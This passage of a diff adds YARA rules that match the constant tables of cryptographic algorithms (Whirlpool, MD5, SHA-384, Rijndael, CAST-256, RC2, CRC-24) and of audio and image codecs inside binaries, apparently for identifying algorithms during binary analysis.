00027000000580000003d000000300100000c00000015000000180000001b010000860000005c0000003f000000f6000000e6010000aa02000007000000db000000b8000000680100000c0300001200000040000000cf010000da01000083000000a00000004f00000049000000b80100005f0000001200000040000000450200002200000045000000800000006f010000cc01000011000000510000000c00000067000000340300003e0000006e00000061000000670000005e030000460000003c00000025050000d70100001c020000d0000000790000007a0300005a01000024000000960000003b00000038020000660200000d000000780000003f000000db0000002c03000070080000f40600006300000023000000120000001500000088000000680300000f0000001c000000aa00000058000000040000001e0000002c000000700000001200000093000000b4010000c300000040010000250000007a00000071000000060000008c0000000800000078000000310100002a0000003a000000cd0100002c0000006a0000002d0100000d00000098010000a80200005d0000005600000074000000120200005200000038020000090000006600000026000000a00100005900000047000000d8000000d8020000c503000032030000020000002600000079000000c30000000e0000004601000094000000ea000000120000003700000083000000ea000000690100003803000005000000510000006f02000030000000c1030000130000001a000000210000000a0000004d0400006d0100005c00000058000000b5000000130100005a010000c9000000ce000000 }
+
+condition:
+	$a0
+}
+
+	
+rule Whirlpool_C3__64_big_2048_
+{
+strings:
+	$a0 = { 7830d818186018c0af462623238c2305f991b8c6c63fc67e6fcdfbe8e887e813a113cb878726874c626d11b8b8dab8a905020901010401086e9e0d4f4f214f42ee6c9b3636d836ad0451ffa6a6a2a659bdb90cd2d26fd2de06f70ef5f5f3f5fb80f2967979f979efcede306f6fa16f5fef3f6d91917e91fc07a4f852525552aafdc04760609d6027766535bcbccabc89cd2b379b9b569bac8c018a8e8e028e04155bd2a3a3b6a3713c186c0c0c300c608af6847b7bf17bffe16a803535d435b5693af51d1d741de847ddb3e0e0a7e053acb321d7d77bd7f6ed999cc2c22fc25e965c432e2eb82e6d7a96294b4b314b6221e15dfefedffea316aed55757415782412abd15155415a8b6eee87777c1779feb6e923737dc37a556d79ee5e5b3e57bd923139f9f469f8c17fd23f0f0e7f0d37f94204a4a354a6a95a944dada4fda9e25b0a258587d58faca8fcfc9c903c9068d527c2929a4295522145a0a0a280a504f7f50b1b1feb1e11a5dc9a0a0baa069dad6146b6bb16b7fab17d985852e855c73673cbdbdcebd8134ba8f5d5d695dd2502090101040108003f507f4f4f7f4f3c08bddcbcb0bcb16c67cd33e3ef83eed110a2d0505140528e6ce78676781671f53d597e4e4b7e473bb4e0227279c272558827341411941329d0ba78b8b168b2c0153f6a7a7a6a75194fab27d7de97dcffb374995956e95dc9fad56d8d847d88e30eb70fbfbcbfb8b71c1cdeeee9fee2391f8bb7c7ced7cc7e3cc7166668566178ea77bdddd53dda64b2eaf17175c17b8468e454747014702dc211a9e9e429e84c589d4caca0fca1e995a582d2db42d7579632ebfbfc6bf911b0e3f07071c07382347acadad8ead012fb4b05a5a755aeab51bef838336836cff66b63333cc3385f2c65c636391633f0a04120202080210384993aaaa92aa39a8e2de7171d971afcf8dc6c8c807c80e7d32d119196419c870923b49493949729aaf5fd9d943d9861df931f2f2eff2c348dba8e3e3abe34b2ab6b95b5b715be2920dbc88881a8834c8293e9a9a529aa4be4c0b262698262dfa64bf3232c8328d4a7d59b0b0fab0e96acff2e9e983e91b331e770f0f3c0f78a6b733d5d573d5e6ba1df480803a80747c6127bebec2be99de87ebcdcd13cd26e468893434d034bd75903248483d487a24e354ffffdbffab8ff48d7a7af57af7ea3d6490907a90f43ebe9d5f5f615fc2a0403d202080201dd5d00f6868bd68677234ca1a1a681ad02c41b7aeae82ae195e757db4b4eab4c919a8ce54544d549ae53b7f93937693ecaa442f222288220de9c86364648d640712ff2af1f1e3f1dba2e6cc7373d173bf5a248212124812905d807a40401d403a2810480808200840e89b95c3c32bc3567bc5dfecec97ec3390ab4ddbdb4bdb961f5fc0a1a1bea1618307918d8d0e8d1cc97ac83d3df43df5f1335b97976697cc0000000000000000d483f9cfcf1bcf3687566e2b2bac2b45b3ece17676c57697b019e68282328264a9b128d6d67fd6fe7736c31b1b6c1bd85b7774b5b5eeb5c12943beafaf86af11dfd41d6a6ab56a770da0ea50505d50ba4c8a57454509451218fb38f3f3ebf3cbf060ad3030c0309d74c3c4efef9bef2bc37eda3f3ffc3fe51caac755554955921059dba2a2b2a27965c9e9eaea8fea03ecca6a656589650f686903babad2bab9935e4a2f2fbc2f65e79d8ec0c027c04e81a160dede5fdebe6c38fc1c1c701ce02ee746fdfdd3fdbb649a1f4d4d294d52e0397692927292e4bceafa7575c9758f1e0c3606061806309809ae8a8a128a2440794bb2b2f2b2f959d185e6e6bfe663361c7e0e0e380e70633ee71f1f7c1ff8f7c4556262956237a3b53ad4d477d4ee324d81a8a89aa829f4315296966296c43aef62f9f9c3f99bf697a3c5c533c566b14a10252594253520b2ab59597959f2ae15d084842a8454a7e4c57272d572b7dd72ec3939e439d56198164c4c2d4c5a3bbc945e5e655eca85f09f7878fd78e7d870e53838e038dd8605988c8c0a8c14b2bf17d1d163d1c60b57e4a5a5aea5414dd9a1e2e2afe243f8c24e616199612f457b42b3b3f6b3f1a542342121842115d625089c9c4a9c94663cee1e1e781ef05286614343114322fc93b1c7c73bc7762be54ffcfcd7fcb3140824040410042008a2e351515951b2c72f2599995e99bcc4da226d6da96d4f391a650d0d340d6835e979fafacffa8384a369dfdf5bdfb69bfca97e7ee57ed7b44819242490243dd776fe3b3bec3bc53d4b9aabab96ab31d181f0cece1fce3e55229911114411888903838f8f068f0c6b9c044e4e254e4a517366b7b7e6b7d160cbe0ebeb8beb0bcc78c13c3cf03cfdbf1ffd81813e817cfe354094946a94d40cf31cf7f7fbf7eb676f18b9b9deb9a15f268b13134c13989c58512c2cb02c7db8bb05d3d36bd3d65cd38ce7e7bbe76bcbdc396e6ea56e57f395aac4c437c46e0f061b03030c031813acdc565645568a49885e44440d441a9efea07f7fe17fdf374f88a9a99ea9218254672a2aa82a4d6d6b0abbbbd6bbb1e29f87c1c123c14602a6f153535153a28ba572dcdc57dcae2716530b0b2c0b58d327019d9d4e9d9cc1d82b6c6cad6c47f562a43131c43195b9e8f37474cd748709f115f6f6fff6e3438c4c464605460a2645a5acac8aac09970fb589891e893c4428b414145014a042dfbae1e1a3e15b4e2ca616165816b0d274f73a3ae83acdd0d2066969b9696f2d12410909240948ade0d77070dd70a754716fb6b6e2b6d9b7bd1ed0d067d0ce7ec7d6eded93ed3bdb85e2cccc17cc2e578468424215422ac22d2c98985a98b40e55eda4a4aaa4498850752828a0285d31b8865c5c6d5cda3fed6bf8f8c7f893a411c28686228644 }
+	$a1 = { c0d87818182818780526af23236523af7eb8f9c6c657c6f913fb6fe8e825e86f4ccba187879487a1a91162b8b8d5b8620809050101030105420d6e4f4fd14f6ead9bee36365a36ee59ff04a6a6f7a604de0cbdd2d26bd2bdfb0e06f5f502f506ef968079798b79805f30ce6f6fb16fcefc6def9191ae91efaaf8075252f652072747fd6060a060fd893576bcbcd9bc76ac37cd9b9bb09bcd048a8c8e8e8f8e8c71d215a3a3f8a315606c3c0c0c140c3cff848a7b7b8d7b8ab580e135355f35e1e8f5691d1d271d6953b347e0e03de047f621acd7d764d7ac5e9cedc2c25bc2ed6d43962e2e722e9662297a4b4bdd4b7aa35d21fefe1ffe2182d5165757f95716a8bd4115153f15419fe8b677779977b6a592eb37375937eb7b9e56e5e532e5568c13d99f9fbc9fd9d32317f0f00df0176a207f4a4ade4a7f9e4495dada73da95faa2255858e8582506cfcac9c946c9ca557c8d29297b298d505a220a0a1e0a22e1504fb1b1ceb14f69c91aa0a0fda01a7f14da6b6bbd6bda5cd9ab85859285ab813c73bdbddabd73d28f345d5de75d348090501010301050f30703f4f401f40316ddc0cbcb40cbc0edd3c63e3e423ec6282d1105050f05111f78e66767a967e6739753e4e431e4532502bb27276927bb3273584141c341582ca79d8b8b808b9d51f601a7a7f4a701cfb2947d7d877d94dc49fb9595a295fb8e569fd8d875d89f8b7030fbfb10fb3023cd71eeee2fee71c7bb917c7c847c911771e36666aa66e3a67b8edddd7add8eb8af4b171739174b0245464747c94746841adc9e9ebf9edc1ed4c5caca43cac57558992d2d772d99912e79bfbfdcbf79383f1b070709071b01ac23adadeaad23eab02f5a5aee5a2f6cefb583839883b585b6ff33335533ff3f5cf26363a563f210120a020206020a399338aaaae3aa38afdea871719371a80ec6cfc8c845c8cfc8d17d19192b197d723b704949db4970865f9ad9d976d99ac3311df2f20bf21d4ba848e3e338e348e2b92a5b5bed5b2a34bc928888858892a43ec89a9ab39ac82d0bbe26266a26be8dbffa32325632fae9594ab0b0cdb04a1bf26ae9e926e96a7877330f0f110f33e633a6d5d562d5a674f4ba80809d80ba99277cbebedfbe7c26ebdecdcd4acddebd89e434345c34e47a32754848d84875ab5424ffff1cff24f78d8f7a7a8e7a8ff464ea9090ad90eac29d3e5f5fe15f3e1d3da020206020a0670fd56868b868d5d0ca721a1a2e1a7219b72caeaeefae2cc97d5eb4b4c1b45e9ace195454fc5419ec7fe59393a893e50d2faa22226622aa0763e96464ac64e9db2a12f1f10ef112bfcca273739573a290825a121236125a3a7a5d4040c0405d40482808081808285695e8c3c358c3e833df7becec29ec7b964d90dbdb70db9061c01fa1a1fea11f1c91838d8d8a8d83f5c8c93d3d473dc9cc5bf19797a497f1000000000000000036f9d4cfcf4ccfd4456e872b2b7d2b8797e1b376769a76b364e6b082829b82b0fe28a9d6d667d6a9d8c3771b1b2d1b77c1745bb5b5c2b55b11be29afafecaf29771ddf6a6abe6adfbaea0d5050f0500d12574c4545cf454ccb3818f3f308f3189dadf030305030f02bc474efef2cef74e5dac33f3f413fc392c71c5555ff551c79db10a2a2fba21003e965eaea23ea650f6aec6565af65ecb90368babad3ba68654a932f2f712f934e8ee7c0c05dc0e7be6081dede7fde81e0fc6c1c1c241c6cbb462efdfd1afd2e521f644d4dd74d64e476e09292ab92e08ffabc75759f75bc30361e06060a061e24ae988a8a838a98f94b40b2b2cbb240638559e6e637e659707e360e0e120e36f8e7631f1f211f633755f76262a662f7ee3aa3d4d461d4a3298132a8a8e5a832c452f49696a796f49b623af9f916f93a66a3f6c5c552c5f63510b125256f25b1f2ab205959eb592054d0ae84849184aeb7c5a772729672a7d5ecdd39394b39dd5a16614c4cd44c61ca943b5e5ee25e3be79f857878887885dde5d838384838d81498868c8c898c86c617b2d1d16ed1b241e40ba5a5f2a50b43a14de2e23be24d2f4ef86161a361f8f14245b3b3c8b3451534a521216321a59408d69c9cb99cd6f0ee661e1e221e662261524343c5435276b1fcc7c754c7fcb34f2bfcfc19fc2b20241404040c0414b2e3085151f35108bc25c79999b699c74f22c46d6db76dc46865390d0d170d39837935fafa13fa35b66984dfdf7cdf84d7a99b7e7e827e9b3d19b424246c24b4c5fed73b3b4d3bd7319a3dababe0ab3d3ef0d1cece4fced188995511113311550c83898f8f8c8f894a046b4e4ed24e6bd16651b7b7c4b7510be060ebeb20eb60fdc1cc3c3c443ccc7cfdbf81819e81bfd440fe9494a194feeb1c0cf7f704f70ca11867b9b9d6b967988b5f131335135f7d519c2c2c742c9cd605b8d3d368d3b86b8c5ce7e734e75c5739cb6e6eb26ecb6eaaf3c4c451c4f3181b0f030305030f8adc135656fa56131a5e494444cc4449dfa09e7f7f817f9e218837a9a9e6a9374d67822a2a7e2a82b10a6dbbbbd0bb6d4687e2c1c15ec1e2a2f1025353f55302ae728bdcdc79dc8b5853270b0b1d0b279c01d39d9dba9dd3472bc16c6cb46cc195a4f531315331f587f3b974749c74b9e31509f6f607f6090a4c434646ca464309a526acace9ac263cb5978989868997a0b44414143c14445bba42e1e13ee142b0a64e16163a164ecdf7d23a3a4e3ad26f06d06969bb69d048412d09091b092da7d7ad70709070add96f54b6b6c7b654ce1eb7d0d06dd0b73bd67eeded2aed7e2ee2dbcccc49ccdb2a68574242c64257b42cc29898b598c249ed0ea4a4f1a40e5d75882828782888da86315c5ce45c31936b3ff8f815f83f44c2a486869786a4 }
+
+condition:
+	$a0 and $a1
+}
+
+	
+rule DVB_scrambling_algorithm_sbox__8_byt_256_
+{
+strings:
+	$a0 = { 3aea68fe33e9881a83cfe17fbae23812e82761950c36e570a206827c17a32649be7a6d47c1518ff3cc5b67bdcd1808c9ff69ef034e484a843fb41004dcf55cc616abac4cf16a2f3c3bd4d594d0c4636271a1f94f2eaac556e33993ce6564e4586c194279ddee96f68aec1e855345debb7e0a9a132a9dc25e5a1f32359ca87330293de792871b2b4ba557974015e6bc0eebc3342db84425a41cc723ed906e5000999e4dd9da8d6f5f3ed7217486df6b058e5d3711d22875d6a77724bff0b002b7f8fc8109b10176917d0fc8a0f2cb7860d1f7e0b59822b3201da6db7b599fae31fbd3b6ca437207f4d84114550d548bb9ad460baf80522cfa8c8966fdb2a99bc0 }
+
+condition:
+	$a0
+}
+
+	
+rule ReplayGainAnalysis_ABButter__flt32___32_big_180_
+{
+strings:
+	$a0 = { 3f7c7862bffc7228bffc78623f78fd3b3f7c78623f7c2913bffc21b4bffc29133f7860e53f7c29133f7ab942bffaab56bffab9423f758e5c3f7ab9423f79ae78bff99a81bff9ae783f7384de3f79ae783f79215bbff909c2bff9215b3f7271ea3f79215b3f76ec6ebff6c33abff6ec6e3f6e2b453f76ec6e3f75c88dbff59457bff5c88d3f6bf9863f75c88d3f7564cabff52c85bff564ca3f6b3a1f3f7564ca3f722b8abff1cbd6bff22b8a3f65167c3f722b8a }
+
+condition:
+	$a0
+}
+
+	
+rule MD5_digest__32_big_AND_
+{
+strings:
+	$a0 = { 67452301[0-20]efcdab89[0-20]98badcfe[0-20]10325476[0-20]d76aa478[0-20]e8c7b756[0-20]242070db[0-20]c1bdceee[0-20]f57c0faf[0-20]4787c62a[0-20]a8304613[0-20]fd469501[0-20]698098d8[0-20]8b44f7af[0-20]ffff5bb1[0-20]895cd7be[0-20]6b901122[0-20]fd987193[0-20]a679438e[0-20]49b40821[0-20]f61e2562[0-20]c040b340[0-20]265e5a51[0-20]e9b6c7aa[0-20]d62f105d[0-20]02441453[0-20]d8a1e681[0-20]e7d3fbc8[0-20]21e1cde6[0-20]c33707d6[0-20]f4d50d87[0-20]455a14ed[0-20]a9e3e905[0-20]fcefa3f8[0-20]676f02d9[0-20]8d2a4c8a[0-20]fffa3942[0-20]8771f681[0-20]6d9d6122[0-20]fde5380c[0-20]a4beea44[0-20]4bdecfa9[0-20]f6bb4b60[0-20]bebfbc70[0-20]289b7ec6[0-20]eaa127fa[0-20]d4ef3085[0-20]04881d05[0-20]d9d4d039[0-20]e6db99e5[0-20]1fa27cf8[0-20]c4ac5665[0-20]f4292244[0-20]432aff97[0-20]ab9423a7[0-20]fc93a039[0-20]655b59c3[0-20]8f0ccc92[0-20]ffeff47d[0-20]85845dd1[0-20]6fa87e4f[0-20]fe2ce6e0[0-20]a3014314[0-20]4e0811a1[0-20]f7537e82[0-20]bd3af235[0-20]2ad7d2bb[0-20]eb86d391 }
+
+condition:
+	$a0
+}
+
+	
+rule ICE__block_cipher__ice_sxor__32_lil_64_
+{
+strings:
+	$a0 = { 83000000850000009b000000cd000000cc000000a7000000ad000000410000004b0000002e000000d400000033000000ea000000cb0000002e00000004000000 }
+
+condition:
+	$a0
+}
+
+	
+rule SHA384__64_lil_AND_
+{
+strings:
+	$a0 = { d89e05c15d9dbbcb[0-20]07d57c362a299a62[0-20]17dd70305a015991[0-20]39590ef7d8ec2f15[0-20]310bc0ff67263367[0-20]11155868874ab48e[0-20]a78ff9640d2e0cdb[0-20]a44ffabe1d48b547[0-20]22ae28d7982f8a42[0-20]cd65ef2391443771[0-20]2f3b4deccffbc0b5[0-20]bcdb8981a5dbb5e9[0-20]38b548f35bc25639[0-20]19d005b6f111f159[0-20]9b4f19afa4823f92[0-20]18816ddad55e1cab[0-20]420203a398aa07d8[0-20]be6f7045015b8312[0-20]8cb2e44ebe853124[0-20]e2b4ffd5c37d0c55[0-20]6f897bf2745dbe72[0-20]b196163bfeb1de80[0-20]3512c725a706dc9b[0-20]942669cf74f19bc1[0-20]d24af19ec1699be4[0-20]e3254f388647beef[0-20]b5d58c8bc69dc10f[0-20]659cac77cca10c24[0-20]75022b596f2ce92d[0-20]83e4a66eaa84744a[0-20]d4fb41bddca9b05c[0-20]b5531183da88f976[0-20]abdf66ee52513e98[0-20]1032b42d6dc631a8[0-20]3f21fb98c82703b0[0-20]e40eefbec77f59bf[0-20]c28fa83df30be0c6[0-20]25a70a934791a7d5[0-20]6f8203e05163ca06[0-20]706e0e0a67292914[0-20]fc2fd246850ab727[0-20]26c9265c38211b2e[0-20]ed2ac45afc6d2c4d[0-20]dfb3959d130d3853[0-20]de63af8b54730a65[0-20]a8b2773cbb0a6a76[0-20]e6aeed472ec9c281[0-20]3b358214852c7292[0-20]6403f14ca1e8bfa2[0-20]013042bc4b661aa8[0-20]9197f8d0708b4bc2[0-20]30be5406a3516cc7[0-20]1852efd619e892d1[0-20]10a96555240699d6[0-20]2a20715785350ef4[0-20]b8d1bb3270a06a10[0-20]c8d0d2b816c1a419[0-20]53ab4151086c371e[0-20]99eb8edf4c774827[0-20]a8489be1b5bcb034[0-20]635ac9c5b30c1c39[0-20]cb8a41e34aaad84e[0-20]73e363774fca9c5b[0-20]a3b8b2d6f36f2e68[0-20]fcb2ef5dee828f74[0-20]602f17436f63a578[0-20]72abf0a11478c884[0-20]ec39641a0802c78c[0-20]281e6323faffbe90[0-20]e9bd82deeb6c50a4[0-20]1579c6b2f7a3f9be[0-20]2b5372e3f27871c6[0-20]9c6126eace3e27ca[0-20]07c2c021c7b886d1[0-20]1eebe0cdd67ddaea[0-20]78d16eee7f4f7df5[0-20]ba6f1772aa67f006[0-20]a698c8a2c57d630a[0-20]ae0df9be04983f11[0-20]1b471c13350b711b[0-20]847d0423f577db28[0-20]9324c7407babca32[0-20]bcbec9150abe9e3c[0-20]4c0d109cc4671d43[0-20]b6423ecbbed4c54c[0-20]2a7e65fc9c297f59[0-20]ecfad63aab6fcb5f[0-20]1758474a8c19446c }
+
+condition:
+	$a0
+}
+
+	
+rule MPEG_2_NBC_Fraunhofer_Huffman_book5__32_big_972_
+{
+strings:
+	$a0 = { 000000000000000d00001fff000000010000000c00000ff7000000020000000b000007f4000000030000000b000007e8000000040000000a000003f1000000050000000b000007ee000000060000000b000007f9000000070000000c00000ff8000000080000000d00001ffd000000090000000c00000ffd0000000a0000000b000007f10000000b0000000a000003e80000000c00000009000001e80000000d00000008000000f00000000e00000009000001ec0000000f0000000a000003ee000000100000000b000007f2000000110000000c00000ffa000000120000000c00000ff4000000130000000a000003ef0000001400000009000001f20000001500000008000000e80000001600000007000000700000001700000008000000ec0000001800000009000001f0000000190000000a000003ea0000001a0000000b000007f30000001b0000000b000007eb0000001c00000009000001eb0000001d00000008000000ea0000001e000000050000001a0000001f00000004000000080000002000000005000000190000002100000008000000ee0000002200000009000001ef000000230000000b000007ed000000240000000a000003f00000002500000008000000f200000026000000070000007300000027000000040000000b00000028000000010000000000000029000000040000000a0000002a00000007000000710000002b00000008000000f30000002c0000000b000007e90000002d0000000b000007ef0000002e00000009000001ee0000002f00000008000000ef00000030000000050000001800000031000000040000000900000032000000050000001b0000003300000008000000eb0000003400000009000001e9000000350000000b000007ec000000360000000b000007f6000000370000000a000003eb0000003800000009000001f30000003900000008000000ed0000003a00000007000000720000003b00000008000000e90000003c00000009000001f10000003d0000000a000003ed0000003e0000000b000007f70000003f0000000c00000ff6000000400000000b000007f0000000410000000a000003e90000004200000009000001ed0000004300000008000000f10000004400000009000001ea000000450000000a000003ec000000460000000b000007f8000000470000000c00000ff9000000480000000d00001ffc000000490000000c00000ffc0000004a0000000c00000ff50000004b0000000b000007ea0000004c0000000a000003f30000004d0000000a000003f20000004e0000000b000007f50000004f0000000c00000ffb000000500000000d00001ffe }
+
+condition:
+	$a0
+}
+
+	
+rule RRC2___Ron_Rivest_Cipher_Nr__2_Beale__32_big_1024_
+{
+strings:
+	$a0 = { 00000047000000c200000026000006a5000000590000004c0000000b000000530000065d000000300000005e0000003f00000084000000100000006f0000005f0000005400000155000003cf0000000e00000028000000400000001b000000510000008b000000d50000003f0000005a00000460000000080000000f000000030000007e000007e2000000280000004a000002f6000001e50000025c000000e6000001b4000002980000024600000096000000fb0000011c00000134000000e70000007c000000d3000001e6000000e100000191000001720000000b00000065000001310000008b000000bd000000110000002100000058000000d0000000c100000091000000010000005e00000049000001a000000396000001070000001c000001f40000021a000001640000007500000088000000db0000001b000000b0000000820000000a000001cc00000019000001e500000012000001b40000004100000054000000c80000011b00000076000001400000008a00000024000001a0000001180000000f00000047000000e0000003c10000002c000000100000019100000027000000580000003d000001300000000c00000015000000180000011b000000860000005c0000003f000000f6000001e6000002aa00000007000000db000000b8000001680000030c0000001200000040000001cf000001da00000083000000a00000004f00000049000001b80000005f0000001200000040000002450000002200000045000000800000016f000001cc00000011000000510000000c00000067000003340000003e0000006e00000061000000670000035e000000460000003c00000525000001d70000021c000000d0000000790000037a0000015a00000024000000960000003b00000238000002660000000d000000780000003f000000db0000032c00000870000006f40000006300000023000000120000001500000088000003680000000f0000001c000000aa00000058000000040000001e0000002c000000700000001200000093000001b4000000c300000140000000250000007a00000071000000060000008c0000000800000078000001310000002a0000003a000001cd0000002c0000006a0000012d0000000d00000198000002a80000005d0000005600000074000002120000005200000238000000090000006600000026000001a00000005900000047000000d8000002d8000003c500000332000000020000002600000079000000c30000000e0000014600000094000000ea000000120000003700000083000000ea000001690000033800000005000000510000026f00000030000003c1000000130000001a000000210000000a0000044d0000016d0000005c00000058000000b5000001130000015a000000c9000000ce }
+
+condition:
+	$a0
+}
+
+	
+rule bsynz_kexc_table__float___flt64___64_big_200_
+{
+strings:
+	$a0 = { 4020000000000000c030000000000000403a000000000000c0480000000000004055800000000000c0644000000000004072600000000000c07f6000000000004086700000000000c086c0000000000040670000000000004085000000000000c083100000000000c08500000000000040670000000000004086c000000000004086700000000000407f6000000000004072600000000000406440000000000040558000000000004048000000000000403a00000000000040300000000000004020000000000000 }
+
+condition:
+	$a0
+}
+
+	
+rule OpenJPEG_dwt_norms_real__flt64___64_lil_296_
+{
+strings:
+	$a0 = { 000000000000f03f713d0ad7a370ff3f6891ed7c3fb510407593180456ce20406666666666e63040ec51b81e85eb40405c8fc2f528ec50409a99999999e960409a99999999e970403333333333e78040931804560e2d0040b6f3fdd478e90f40f6285c8fc2b520400ad7a3703d0a3140c3f5285c8f224140b81e85eb512851409a999999992961409a999999992971400000000000288140931804560e2d0040b6f3fdd478e90f40f6285c8fc2b520400ad7a3703d0a3140c3f5285c8f224140b81e85eb512851409a999999992961409a999999992971400000000000288140a4703d0ad7a30040ec51b81e85eb0e4077be9f1a2f9d2040ae47e17a142e31407b14ae47e15a4140f6285c8fc26551409a999999996961409a999999996971409a99999999698140 }
+
+condition:
+	$a0
+}
+
+	
+rule libfaad2_g_decayslope__flt32___32_lil_180_
+{
+strings:
+	$a0 = { 0000803f0000803f0000803f3333733f6666663f9a99593fcdcc4c3f0000403f3333333f6666263f9a99193fcdcc0c3f0000003f6666e63ecdcccc3e3333b33e9a99993e0000803ecdcc4c3e9a99193ecdcccc3dcdcc4c3d0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 }
+
+condition:
+	$a0
+}
+
+	
+rule CAST_256_t_r__8_byt_192_
+{
+strings:
+	$a0 = { 131b030b131b030b131b030b131b030b131b030b131b030b040c141c040c141c040c141c040c141c040c141c040c141c151d050d151d050d151d050d151d050d151d050d151d050d060e161e060e161e060e161e060e161e060e161e060e161e171f070f171f070f171f070f171f070f171f070f171f070f0810180008101800081018000810180008101800081018001901091119010911190109111901091119010911190109110a121a020a121a020a121a020a121a020a121a020a121a02 }
+
+condition:
+	$a0
+}
+
+	
+rule G_721_qtab__16_big_14_
+{
+strings:
+	$a0 = { FF84005000B200F6012C015D0190 }
+
+condition:
+	$a0
+}
+
+	
+rule Rijndael_Te4__0x63636363U___32_lil_1024_
+{
+strings:
+	$a0 = { 636363637c7c7c7c777777777b7b7b7bf2f2f2f26b6b6b6b6f6f6f6fc5c5c5c53030303001010101676767672b2b2b2bfefefefed7d7d7d7abababab76767676cacacaca82828282c9c9c9c97d7d7d7dfafafafa5959595947474747f0f0f0f0adadadadd4d4d4d4a2a2a2a2afafafaf9c9c9c9ca4a4a4a472727272c0c0c0c0b7b7b7b7fdfdfdfd9393939326262626363636363f3f3f3ff7f7f7f7cccccccc34343434a5a5a5a5e5e5e5e5f1f1f1f171717171d8d8d8d8313131311515151504040404c7c7c7c723232323c3c3c3c31818181896969696050505059a9a9a9a070707071212121280808080e2e2e2e2ebebebeb27272727b2b2b2b27575757509090909838383832c2c2c2c1a1a1a1a1b1b1b1b6e6e6e6e5a5a5a5aa0a0a0a0525252523b3b3b3bd6d6d6d6b3b3b3b329292929e3e3e3e32f2f2f2f8484848453535353d1d1d1d100000000edededed20202020fcfcfcfcb1b1b1b15b5b5b5b6a6a6a6acbcbcbcbbebebebe393939394a4a4a4a4c4c4c4c58585858cfcfcfcfd0d0d0d0efefefefaaaaaaaafbfbfbfb434343434d4d4d4d333333338585858545454545f9f9f9f9020202027f7f7f7f505050503c3c3c3c9f9f9f9fa8a8a8a851515151a3a3a3a3404040408f8f8f8f929292929d9d9d9d38383838f5f5f5f5bcbcbcbcb6b6b6b6dadadada2121212110101010fffffffff3f3f3f3d2d2d2d2cdcdcdcd0c0c0c0c13131313ecececec5f5f5f5f979797974444444417171717c4c4c4c4a7a7a7a77e7e7e7e3d3d3d3d646464645d5d5d5d191919197373737360606060818181814f4f4f4fdcdcdcdc222222222a2a2a2a909090908888888846464646eeeeeeeeb8b8b8b814141414dededede5e5e5e5e0b0b0b0bdbdbdbdbe0e0e0e0323232323a3a3a3a0a0a0a0a4949494906060606242424245c5c5c5cc2c2c2c2d3d3d3d3acacacac626262629191919195959595e4e4e4e479797979e7e7e7e7c8c8c8c8373737376d6d6d6d8d8d8d8dd5d5d5d54e4e4e4ea9a9a9a96c6c6c6c56565656f4f4f4f4eaeaeaea656565657a7a7a7aaeaeaeae08080808babababa78787878252525252e2e2e2e1c1c1c1ca6a6a6a6b4b4b4b4c6c6c6c6e8e8e8e8dddddddd747474741f1f1f1f4b4b4b4bbdbdbdbd8b8b8b8b8a8a8a8a707070703e3e3e3eb5b5b5b5666666664848484803030303f6f6f6f60e0e0e0e616161613535353557575757b9b9b9b986868686c1c1c1c11d1d1d1d9e9e9e9ee1e1e1e1f8f8f8f8989898981111111169696969d9d9d9d98e8e8e8e949494949b9b9b9b1e1e1e1e87878787e9e9e9e9cececece5555555528282828dfdfdfdf8c8c8c8ca1a1a1a1898989890d0d0d0dbfbfbfbfe6e6e6e6424242426868686841414141999999992d2d2d2d0f0f0f0fb0b0b0b054545454bbbbbbbb16161616 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_imc_weights1__flt64___64_big_248_
+{
+strings:
+	$a0 = { 3fbe9dc725c3dee83fbf850df15a4acf3fc0895d0b73d1893fb98868efada2653fb4f8e7ddca4b123fb89b0326252db73fb6794ea077036d3fb60bca389dd63f3fb7100530c168eb3fb962ee0be1b5923fbcecfa69be09bb3fc0c8bc9cd3e0bd3fc391c4b90214ad3fc6b18116ebd4d03fcc635a426bb55b3fcf5970b49e01de3fd11cda2b5a20de3fd3a2df9378ee283fd4acc92146a1a53fd59628cbd1244a3fd779357603925c3fd91fa76534373f3fd97a13c254a3c63fd9cfb3311a543f3fdb2b2bfdb4cc253fdc7739f340d4dc3fdcbf7f06705c893fdd2602c9081c2e3fde9524bfd2e9473fe0057afea3df6e3fe05527e5215769 }
+
+condition:
+	$a0
+}
+
+	
+rule MPEG_2_NBC_sfb_24_128__avcodec___faad___16_lil_30_
+{
+strings:
+	$a0 = { 040008000c001000140018001c0024002c00340040004c005c006c008000 }
+
+condition:
+	$a0
+}
+
+	
+rule CRC_24_Radix_64_poly_0x864CFB__32_big_refl_False_
+{
+strings:
+	$a0 = { 0000000000864cfb010c99f6018ad50d021933ec029f7f170315aa1a0393e6e1043267d804b42b23053efe2e05b8b2d5062b543406ad18cf0727cdc207a181390864cfb008e2834b0968564609ee1abd0a7dfc5c0afbb0a70b7165aa0bf729510c56a8680cd0e4930d5a319e0ddc7d650e4f9b840ec9d77f0f4302720fc54e8910c99f60104fd39b11c5069611434a6d12d0ac8c1256e07713dc357a135a798114fbf8b8147db44315f7614e15712db516e2cb54166487af17ee52a217681e5918ad50d0182b1c2b19a1c926192785dd1ab4633c1a322fc71bb8faca1b3eb6311c9f37081c197bf31d93aefe1d15e2051e8604e41e00481f1f8a9d121f0cd1e921933ec02115723b209fa7362019ebcd238a0d2c230c41d7228694da2200d82125a15918252715e324adc0ee242b8c1527b86af4273e260f26b4f3022632bff929f7f1702971bd8b28fb6886287d247d2beec29c2b688e672ae25b6a2a6417912dc596a82d43da532cc90f5e2c4f43a52fdca5442f5ae9bf2ed03cb22e567049315aa1a031dced5b3056385630d074ad3343924c33c5deb7324f0bba32c947413568c67835ee8a8334645f8e34e213753771f59437f7b96f367d6c6236fb2099393e6e1039b822eb3832f7e638b4bb1d3b275dfc3ba111073a2bc40a3aad88f13d0c09c83d8a45333c00903e3c86dcc53f153a243f9376df3e19a3d23e9fef2943267d8043a0317b422ae47642aca88d413f4e6c41b902974033d79a40b59b6147141a58479256a3461883ae469ecf55450d29b4458b654f4401b0424487fcb94b42b2304bc4fecb4a4e2bc64ac8673d495b81dc49ddcd274857182a48d154d14f70d5e84ff699134e7c4c1e4efa00e54d69e6044defaaff4c657ff24ce3330953efe2e05369ae1b52e37b16526537ed51f6d10c51709df750fa48fa507c040157dd8538575bc9c356d11cce5657503555c4b6d45542fa2f54c82f22544e63d95b8b2d505b0d61ab5a87b4a65a01f85d59921ebc59145247589e874a5818cbb15fb94a885f3f06735eb5d37e5e339f855da079645d26359f5cace0925c2aac6962b5434062330fbb63b9dab6633f964d60ac70ac602a3c5761a0e95a6126a5a16